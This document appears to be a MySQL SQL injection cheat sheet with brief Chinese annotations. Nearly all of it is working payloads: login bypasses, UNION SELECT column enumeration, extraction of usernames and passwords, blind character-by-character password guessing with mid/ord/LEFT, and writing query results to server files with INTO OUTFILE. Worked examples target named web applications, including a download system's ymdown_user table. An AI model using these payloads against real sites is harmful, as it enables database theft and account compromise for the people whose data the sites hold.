'%23
' and passWord='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 （ord函数很好用，可以返回整形的）
' and LENGTH(password)='6（探测密码长度）
' and LEFT(password,1)='m
' and LEFT(password,2)='my
…………………………依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* （可以是1或者=后直接跟）
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt （导出文件）
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() （灵活应用查询）
常用查询测试语句，
select * FROM table where 1=1
select * FROM table where 'uuu'='uuu'
select * FROM table where 1<>2
select * FROM table where 3>2
select * FROM table where 2<3
select * FROM table where 1
select * FROM table where 1+1
select * FROM table where 1--1
select * FROM table where ISNULL(NULL)
select * FROM table where ISNULL(COT(0))
select * FROM table where 1 IS NOT NULL
select * FROM table where NULL IS NULL
select * FROM table where 2 BETWEEN 1 AND 3
select * FROM table where 'b' BETWEEN 'a' AND 'c'
select * FROM table where 2 IN (0,1,2)
select * FROM table where CASE WHEN 1>0 THEN 1 END
例如：夜猫下载系统1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 （替换，寻找密码）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 （验证第一位密码）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 （第二位）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
…………………………………………………………
例如2：灰色轨迹 变换id进行测试（meteor）
union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate
union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate
1